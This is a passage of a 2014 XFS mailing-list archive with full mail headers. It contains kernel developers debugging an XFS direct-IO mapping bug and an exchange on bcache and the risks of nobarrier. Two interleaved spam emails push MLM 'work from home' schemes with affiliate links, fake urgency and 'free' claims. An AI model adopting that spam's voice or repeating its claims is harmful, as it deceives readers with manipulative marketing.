xc2Q0Ah28nO1gtGzkgclnU8RpxV4e0Yj7asCBtEIEpfbpqkqidyzJrdaqUTURWNahZo9 dqKJMIqduSoctWQAZcBPQOhtnV/rzepj6TmoR4ET7pk62opeyk9lOLXqB08hCayKhVPw 8lqgnq4kARiN4Ceo242lQIJWZIVD5/s/eznbBLyYMPa5o+iP0CxCHC2pYiUDBrD/yJBv WCrpg9cU1RlGG4nDOfx0txCpcSRN0rO1YSFNY6OMCkUZVFGv4tGZXuaSt0Y4UsHWZ1cX r1jA== MIME-Version: 1.0 X-Received: by 10.42.228.131 with SMTP id je3mr3093323icb.59.1395091886985; Mon, 17 Mar 2014 14:31:26 -0700 (PDT) Received: by 10.64.239.201 with HTTP; Mon, 17 Mar 2014 14:31:26 -0700 (PDT) Date: Mon, 17 Mar 2014 17:31:26 -0400 Message-ID: Subject: How to Collect Your First 1,000 Emails From: Derek Eller X-ASG-Orig-Subj: How to Collect Your First 1,000 Emails To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a1133d4585a6f3604f4d424ce X-Barracuda-Connect: mail-ig0-f195.google.com[209.85.213.195] X-Barracuda-Start-Time: 1395098556 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4007 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a1133d4585a6f3604f4d424ce Content-Type: text/plain; charset=ISO-8859-1 There is absolutely no better platform that provides exactly what you need to know... No matter what biz op or MLM you are promoting than the University of Internet Science... http://uois.timsleads.com/ And after registering you will get Instant and Full access to the following courses that will teach you what you really need to know to succeed online: Email Marketing Collecting Emails Course and Certification How to Email the Irresistible Offer Video Course How to Collect Your First 1,000 Emails Get Rich Blogging Without Bloggin -- Step by Step How Do You Make Money With UOIS Classroom 777 -- Michelangelo's List Building Course Classroom -- The Internet Wrecking Ball Classroom -- The Hot Dog Stand Conversion Technique Classroom -- Michelangelo's CL Posting Webinar Classroom 118 -- Franco G.'s Webinar Replay -- Building Through Social Media Classroom -- The Science of Email Looping Super Saturday/Sunday 16 Hours of Pure Internet Marketing Training Content Bonuses -- List of all Bonuses You Get With Team UOIS Bonus #1 -- UOiS Traffic Coattailer Bonus #2 -- UOIS List Pullers Listen, so much more content including Live daily webinars that is too much to list... http://uois.timsleads.com/ Tim Hope to see you around campus, If you no longer wish to receive emails from me simply reply to this email and put unsubscribe in the subject line --001a1133d4585a6f3604f4d424ce Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

There is absolutely no better platform
that provide= s exactly what you need to know...

No matter what biz op or MLM you = are promoting
than the University of Internet Science...



http://uois.timsleads.com/


And after registering you will get
Instant and Full access to = the
following courses that will
teach you what you really need
to = know to succeed online:

=A0=A0=A0 Email Marketing Collecting Emails Course and Certification=A0=A0=A0 How to Email the Irresistible Offer Video Course
=A0=A0=A0 Ho= w to Collect Your First 1,000 Emails
=A0=A0=A0 Get Rich Blogging Without= Bloggin

-- Step by Step How Do You Make Money With UOIS

=A0=A0=A0 Classroom 777 -- Michelangelo's List Building Course
= =A0=A0=A0 Classroom -- The Internet Wrecking Ball
=A0=A0=A0 Classroom --= The Hot Dog Stand Conversion Technique
=A0=A0=A0 Classroom -- Michelang= elo's CL Posting Webinar
=A0=A0=A0 Classroom 118 -- Franco G.'s Webinar Replay -- Building Throu= gh Social Media
=A0=A0=A0 Classroom -- The Science of Email Looping
<= br>Super Saturday/Sunday 16 Hours of Pure Internet Marketing Training Conte= nt

=A0=A0=A0 Bonuses -- List of all Bonuses You Get With Team UOIS
=A0=A0= =A0 Bonus #1 -- UOiS Traffic Coattailer
=A0=A0=A0 Bonus #2 -- UOIS List = Pullers

Listen, so much more content including Live daily webinars t= hat is too much
to=A0 list...




htt= p://uois.timsleads.com/


Tim

Hope to see you around ca= mpus,



If you no longer wish to receive emails from me simply= reply
to this email and put unsubscribe in the subject line
--001a1133d4585a6f3604f4d424ce-- From david@fromorbit.com Mon Mar 17 20:16:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B93927F72 for ; Mon, 17 Mar 2014 20:16:43 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7944B304039 for ; Mon, 17 Mar 2014 18:16:40 -0700 (PDT) X-ASG-Debug-ID: 1395105397-04bdf05dac67b860001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id sckFabuZIPeMmtBF for ; Mon, 17 Mar 2014 18:16:37 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgdPAJOdJ1N5LMWSPGdsb2JhbABZgwaIUrpbgSQXAwEBAQE4NYIlAQEBBCcTHCMQCAMYCSUPBSUDBxoTh3jRLhcWjlIHgySBFASYRZQggVIp Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail04.adl6.internode.on.net with ESMTP; 18 Mar 2014 11:46:36 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WPids-0005UO-Om; Tue, 18 Mar 2014 12:16:32 +1100 Date: Tue, 18 Mar 2014 12:16:32 +1100 From: Dave Chinner To: Al Viro Cc: linux-fsdevel@vger.kernel.org, Brian Foster , xfs@oss.sgi.com, Dave Chinner Subject: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140318011632.GA9192@dastard> X-ASG-Orig-Subj: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" References: <20140315210216.GP18016@ZenIV.linux.org.uk> <20140316022105.GQ18016@ZenIV.linux.org.uk> <20140316023931.GR18016@ZenIV.linux.org.uk> <20140316205624.GS18016@ZenIV.linux.org.uk> <20140317013638.GB7072@dastard> <20140317024305.GD7072@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140317024305.GD7072@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1395105397 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4009 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 17, 2014 at 01:43:05PM +1100, Dave Chinner wrote: > On Mon, Mar 17, 2014 at 12:36:39PM +1100, Dave Chinner wrote: > > On Sun, Mar 16, 2014 at 08:56:24PM +0000, Al Viro wrote: > > > Looks like __xfs_get_blocks() is broken in that respect - I'm definitely > > > seeing O_DIRECT write() crossing the EOF calling it *once*, getting > > > ->b_size set to a lot more than what remains until EOF and buffer_head > > > not getting BH_New on it. > > > > XFS should never do that. It does not mix existing block mappings > > with newly allocated mappings, and so the newly allocated region > > beyond EOF should always give a "xfs_get_blocks_alloc" trace, and > > when that is emitted we always set buffer_new().... > > And so XFS is not mixing extent types, nor is it seeing newly > allocated blocks beyond EOF, and so it sees it as a single > extent full of valid data.... > > OK, now I understand where the bad mapping problem is coming from, > and why a changing in speculative prealloc size might be seen as the > "cause" by a bisect. And it is a pre-existing condition that has > been there for years - I'd think that testing with > allocsize= would expose it easily on old kernels. > > Al, you're right that the code that calculates the mapping size > needs to split mappings that extend across EOF for direct IO. I'll > cook up a patch to fix it after lunch. Except that this now leaves stale, unreferenced delalloc extents on the inode, so there's some other problem being masked by this behaviour and so generic/270 now assert fails. I'll have to look further. Cheers, Dave. -- Dave Chinner david@fromorbit.com From thehealthandwellnessinsider@gmail.com Mon Mar 17 22:29:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID,T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 75B537F74 for ; Mon, 17 Mar 2014 22:29:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 071ECAC003 for ; Mon, 17 Mar 2014 20:29:50 -0700 (PDT) X-ASG-Debug-ID: 1395113385-04cbb054b744d850001-NocioJ Received: from mail-ie0-f194.google.com (mail-ie0-f194.google.com [209.85.223.194]) by cuda.sgi.com with ESMTP id JCi4wH3gS9t2poCq (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 17 Mar 2014 20:29:46 -0700 (PDT) X-Barracuda-Envelope-From: thehealthandwellnessinsider@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.223.194 Received: by mail-ie0-f194.google.com with SMTP id to1so2453928ieb.5 for ; Mon, 17 Mar 2014 20:29:45 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=/s+KV9VfqjFOckQVz0Er8156G0nESylD0u/f1paaIEs=; b=p8W0Hp9rmBmTvLBta8M+cl2ntk2umT9F4Jc5H2X49OaXB8kx6u6cBKPJUsg6ReWSqd 6f9xV2QhS6KW7SdVR5n0TDkAyc2E0udKQcaOdbFAWkHmfCbaZpuDxpfp03OtSLRWtvs5 BgVuNrYEDWTQLWwD762MMrqUwtVbcVuu7HMEkJIKzOD6kDfvqSZi54fKj7NZPJ9EFVhI w71oGDvRlzSJUvC1ZyTzzuhibKvbN2tonCbp+aBww71JasftQdMsaJwigOS0Ya7nQb0R sFIXQj3JKxSjECTcvFQZcskSNYuIEx4+UQEK/2OJOz59YN57w+su0fmpy4az6/wwG6pH 8grQ== X-Barracuda-BBL-IP: nil MIME-Version: 1.0 X-Received: by 10.50.137.71 with SMTP id qg7mr16401567igb.30.1395107382601; Mon, 17 Mar 2014 18:49:42 -0700 (PDT) Received: by 10.43.70.196 with HTTP; Mon, 17 Mar 2014 18:49:42 -0700 (PDT) Date: Mon, 17 Mar 2014 21:49:42 -0400 Message-ID: Subject: (Hurry!) Confirm your 100% FR*EE iPAS2 account... From: thehealthandwellnessinsider X-ASG-Orig-Subj: (Hurry!) Confirm your 100% FR*EE iPAS2 account... To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a11c3c196f6d04604f4d7bf29 X-Barracuda-Connect: mail-ie0-f194.google.com[209.85.223.194] X-Barracuda-Start-Time: 1395113386 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4012 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c3c196f6d04604f4d7bf29 Content-Type: text/plain; charset=ISO-8859-1 This will be short and sweet... Because I have nothing to sell... But everything to give - at NO charge. iPAS 2 is the most anticipated system in the work from home arena. It's simple - people have seen the power of this system - the ability to actually make money, for many, for the very first time. iPAS 2 actually leverages REAL systems and REAL people who excel at building your business... FOR you... ...something no other system does! Traffic masters to drive traffic - for you. Sales people to follow up and close - for you. And guess what? You get the money. Right now, during preregistration, as we roll out iPAS 2, the bigger, better, badder, more money version of iPAS, you can get an account set up at no charge. But... Once the programmers are done, we go in full launch mode, which means full price mode. :) Get your account set up right now, right here: http://topsecretmeeting.com/?id=timothyeller And get on the inside of what will be responsible for creating easier, bigger, and faster success than any other work from home system. http://topsecretmeeting.com/?id=timothyeller See you at the top, Tim P.S. - I'm not sure if registration will be live for 2 days or two weeks... It's all in the programmers hands. But I can assure you of this - right now, at this very moment, you can create an account at no charge. So, go ahead and take advantage of this rare opportunity right now, before it's too late: http://topsecretmeeting.com/?id=timothyeller P.P.S - I know... We've all seen the hype of systems that never perform. But when have you had a dedicated person drive your traffic and your own professional sales assistant close your sales? Probably never. We need your success to make this launch a success. We are depending on it. You won't know what you're missing until you see all the success stories and your name not in there. DON'T let that happen. Experience the full power of what we've got and register now without spending a dime: http://topsecretmeeting.com/?id=timothyeller Nothing to lose - so much to gain! If you no longer wish to receive emails from me simply reply to this email and put unsubscribe in the subject line --001a11c3c196f6d04604f4d7bf29 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable


This will be short and sweet... Because I have not= hing
to sell... But everything to give - at NO charge.



iP= AS 2 is the most anticipated system in the work from
home arena. It'= s simple - people have seen the power
of this system - the ability to actually make money, for
many, for the v= ery first time.



iPAS 2 actually leverages REAL systems and R= EAL
people who excel at building your business...
FOR you...



...something no other system does!



Traffic masters t= o drive traffic - for you.
Sales people to follow up and close - for you= .



And guess what?



You get the money.



Right now, during preregistration, as we roll out iPAS 2,
the bi= gger, better, badder, more money version of iPAS,
you can get an account= set up at no charge.



But...



Once the program= mers are done, we go in full launch
mode, which means full price mode. :)



Get your account set u= p right now, right here:

http://topsecretmeeting.com/?id=3Dtimothyeller

= And get on the inside of what will be responsible for
creating easier, bigger, and faster success than any
other work from hom= e system.

http://topsecretmeeting.com/?id=3Dtimothyeller

See you at the t= op,

Tim



P.S. - I'm not sure if registration will be live= for 2 days
or two weeks... It's all in the programmers hands. ButI can assure you of this - right now, at this very moment,
you can cre= ate an account at no charge. So, go ahead
and take advantage of this rare opportunity right now,
before it's t= oo late:

= http://topsecretmeeting.com/?id=3Dtimothyeller

P.P.S - I know...= We've all seen the hype of systems that
never perform. But when have you had a dedicated
person drive your traff= ic and your own professional
sales assistant close your sales?


Probably never.

We need your success to make this launch a suc= cess. We
are depending on it. You won't know what you're missing
until yo= u see all the success stories and your name not in
there. DON'T let = that happen. Experience the full power of
what we've got and registe= r now without spending a dime:



http= ://topsecretmeeting.com/?id=3Dtimothyeller



Nothing to lo= se - so much to gain!



If you no longer wish to receive email= s from me simply reply
to this email and put unsubscribe in the subject line
--001a11c3c196f6d04604f4d7bf29-- From eflorac@intellique.com Tue Mar 18 04:27:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 25A9B7F76 for ; Tue, 18 Mar 2014 04:27:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A5E29AC004 for ; Tue, 18 Mar 2014 02:27:14 -0700 (PDT) X-ASG-Debug-ID: 1395134830-04cb6c5676651270001-NocioJ Received: from smtp6-g21.free.fr (smtp6-g21.free.fr [212.27.42.6]) by cuda.sgi.com with ESMTP id MybBehm3Ho5Ag3jo for ; Tue, 18 Mar 2014 02:27:11 -0700 (PDT) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.6 Received: from galadriel.home (unknown [82.235.234.79]) by smtp6-g21.free.fr (Postfix) with ESMTP id 03F8F822A4; Tue, 18 Mar 2014 10:27:05 +0100 (CET) Date: Tue, 18 Mar 2014 10:26:57 +0100 From: Emmanuel Florac To: stan@hardwarefreak.com Cc: weber@zbfmail.de, Xfs Subject: Re: elevator question Message-ID: <20140318102657.2ba68f00@galadriel.home> X-ASG-Orig-Subj: Re: elevator question In-Reply-To: <53277C56.7000002@hardwarefreak.com> References: <53277C56.7000002@hardwarefreak.com> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp6-g21.free.fr[212.27.42.6] X-Barracuda-Start-Time: 1395134830 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4020 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Mon, 17 Mar 2014 17:51:02 -0500 vous =C3=A9criviez: > Now configure the SSD partition as bcache and enable writeback policy. > This will increase the performance of the rust array to SSD level for > writes, and for reads after frequently accessed data is cached in > your SSD. +1 :) you may also try enhanceIO, flashcache... --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From eflorac@intellique.com Tue Mar 18 04:27:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A9AF67F55 for ; Tue, 18 Mar 2014 04:27:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 79659304039 for ; Tue, 18 Mar 2014 02:27:39 -0700 (PDT) X-ASG-Debug-ID: 1395134853-04bdf05dac68d1e0001-NocioJ Received: from smtp6-g21.free.fr (smtp6-g21.free.fr [212.27.42.6]) by cuda.sgi.com with ESMTP id PTw4pW2SXAmO3GfQ for ; Tue, 18 Mar 2014 02:27:35 -0700 (PDT) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.6 Received: from galadriel.home (unknown [82.235.234.79]) by smtp6-g21.free.fr (Postfix) with ESMTP id C1C2D82292; Tue, 18 Mar 2014 10:27:29 +0100 (CET) Date: Tue, 18 Mar 2014 10:26:57 +0100 From: Emmanuel Florac To: stan@hardwarefreak.com Cc: weber@zbfmail.de, Xfs Subject: Re: elevator question Message-ID: <20140318102657.2ba68f00@galadriel.home> X-ASG-Orig-Subj: Re: elevator question In-Reply-To: <53277C56.7000002@hardwarefreak.com> References: <53277C56.7000002@hardwarefreak.com> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp6-g21.free.fr[212.27.42.6] X-Barracuda-Start-Time: 1395134853 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4020 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Mon, 17 Mar 2014 17:51:02 -0500 vous =C3=A9criviez: > Now configure the SSD partition as bcache and enable writeback policy. > This will increase the performance of the rust array to SSD level for > writes, and for reads after frequently accessed data is cached in > your SSD. +1 :) you may also try enhanceIO, flashcache... --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From weber@zbfmail.de Tue Mar 18 05:18:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1C5DF7F78 for ; Tue, 18 Mar 2014 05:18:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9E2C4AC005 for ; Tue, 18 Mar 2014 03:18:08 -0700 (PDT) X-ASG-Debug-ID: 1395137885-04cb6c5678653b40001-NocioJ Received: from mail.zbfmail.de (mail.zbfmail.de [176.9.84.12]) by cuda.sgi.com with ESMTP id TshLRpxqVAOPrUun (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 18 Mar 2014 03:18:06 -0700 (PDT) X-Barracuda-Envelope-From: weber@zbfmail.de X-Barracuda-Apparent-Source-IP: 176.9.84.12 Received: from mail.zbfmail.de (localhost [127.0.0.1]) by mail.zbfmail.de (Postfix) with ESMTP id 003D730128 for ; Tue, 18 Mar 2014 11:18:04 +0100 (CET) DKIM-Filter: OpenDKIM Filter v2.8.4 mail.zbfmail.de 003D730128 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zbfmail.de; s=dkim; t=1395137885; bh=M5InHbtTMLHGrxNPaWdeXlnoH6P0/IU4dmRv6J3qK8g=; h=Date:From:To:Subject:Reply-To:In-Reply-To:References; b=i22IK2+lIqQXwsjBEoFT5pvXO7PYkgXl4DhKZUmWx4AuscNnq4ej5Q/6K9ABAmkIn Qgihg5O/QI6warnS71t3Zut00wGdPqTFxur5ryigwqcU4n2Z32x5jGXns5nKVNsADO +mvoxgJZuihqS0E88lXQ1IUY2z0rzg/sftKS4ysE= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: quoted-printable Date: Tue, 18 Mar 2014 11:18:04 +0100 From: Marko Weber|8000 To: Xfs Subject: Re: elevator question Organization: zbf mail X-ASG-Orig-Subj: Re: elevator question Reply-To: weber@zbfmail.de Mail-Reply-To: weber@zbfmail.de In-Reply-To: <20140318102657.2ba68f00@galadriel.home> References: <53277C56.7000002@hardwarefreak.com> <20140318102657.2ba68f00@galadriel.home> Message-ID: X-Sender: weber@zbfmail.de User-Agent: Roundcube zbfmail Webmail X-DCC-STAT_FI_X86_64_VIRTUAL-Metrics: mailserver 1245; Body=1 Fuz1=1 Fuz2=1 X-Barracuda-Connect: mail.zbfmail.de[176.9.84.12] X-Barracuda-Start-Time: 1395137886 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4021 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi, Am 2014-03-18 10:26, schrieb Emmanuel Florac: > Le Mon, 17 Mar 2014 17:51:02 -0500 vous =C3=A9criviez: >=20 >> Now configure the SSD partition as bcache and enable writeback policy. >> This will increase the performance of the rust array to SSD level for >> writes, and for reads after frequently accessed data is cached in >> your SSD. >=20 > +1 :) you may also try enhanceIO, flashcache... i am barely new to this issue. What would you xfs guys recommend me? i prefer things i can do with kernel, so its dm-cache? bcache? the raid is an raid5 with 3 disks at moment. xfs filesystem. do i have to format it again and set special things? i use nobarrier at moment, any hints or links or guides or even tipps from you directly would be=20 great, thanks marko From eflorac@intellique.com Tue Mar 18 08:56:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D14D57F80 for ; Tue, 18 Mar 2014 08:56:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B9331304043 for ; Tue, 18 Mar 2014 06:56:07 -0700 (PDT) X-ASG-Debug-ID: 1395150965-04cb6c56786608b0001-NocioJ Received: from mail1.g1.pair.com (mail1.g1.pair.com [66.39.3.162]) by cuda.sgi.com with ESMTP id UVVXB7am4QHQ8fRD for ; Tue, 18 Mar 2014 06:56:06 -0700 (PDT) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 66.39.3.162 Received: from localhost (localhost [127.0.0.1]) by mail1.g1.pair.com (Postfix) with SMTP id AA2AA2C47F; Tue, 18 Mar 2014 09:56:05 -0400 (EDT) Received: from harpe.intellique.com (labo.djinux.com [82.225.196.72]) by mail1.g1.pair.com (Postfix) with ESMTPSA id BABDA2BF71; Tue, 18 Mar 2014 09:56:04 -0400 (EDT) Date: Tue, 18 Mar 2014 14:56:05 +0100 From: Emmanuel Florac To: weber@zbfmail.de Cc: Xfs Subject: Re: elevator question Message-ID: <20140318145605.6d7172ee@harpe.intellique.com> X-ASG-Orig-Subj: Re: elevator question In-Reply-To: References: <53277C56.7000002@hardwarefreak.com> <20140318102657.2ba68f00@galadriel.home> Organization: Intellique X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.20; i486-slackware-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail1.g1.pair.com[66.39.3.162] X-Barracuda-Start-Time: 1395150966 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4026 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Tue, 18 Mar 2014 11:18:04 +0100 Marko Weber|8000 =E9crivait: > i am barely new to this issue. What would you xfs guys recommend me? > i prefer things i can do with kernel, so its dm-cache? bcache? The easier will be bcache because it comes included with the kernel. > the raid is an raid5 with 3 disks at moment. xfs filesystem. > do i have to format it again and set special things? No, only the cache itself must be reformatted. > i use nobarrier at moment, if you're not using a hardware RAID controller with a battery-backed or flash-based cache, it may be risky. Depends mostly on your write activity and power supply stability, though. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From eguan@redhat.com Tue Mar 18 11:39:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com 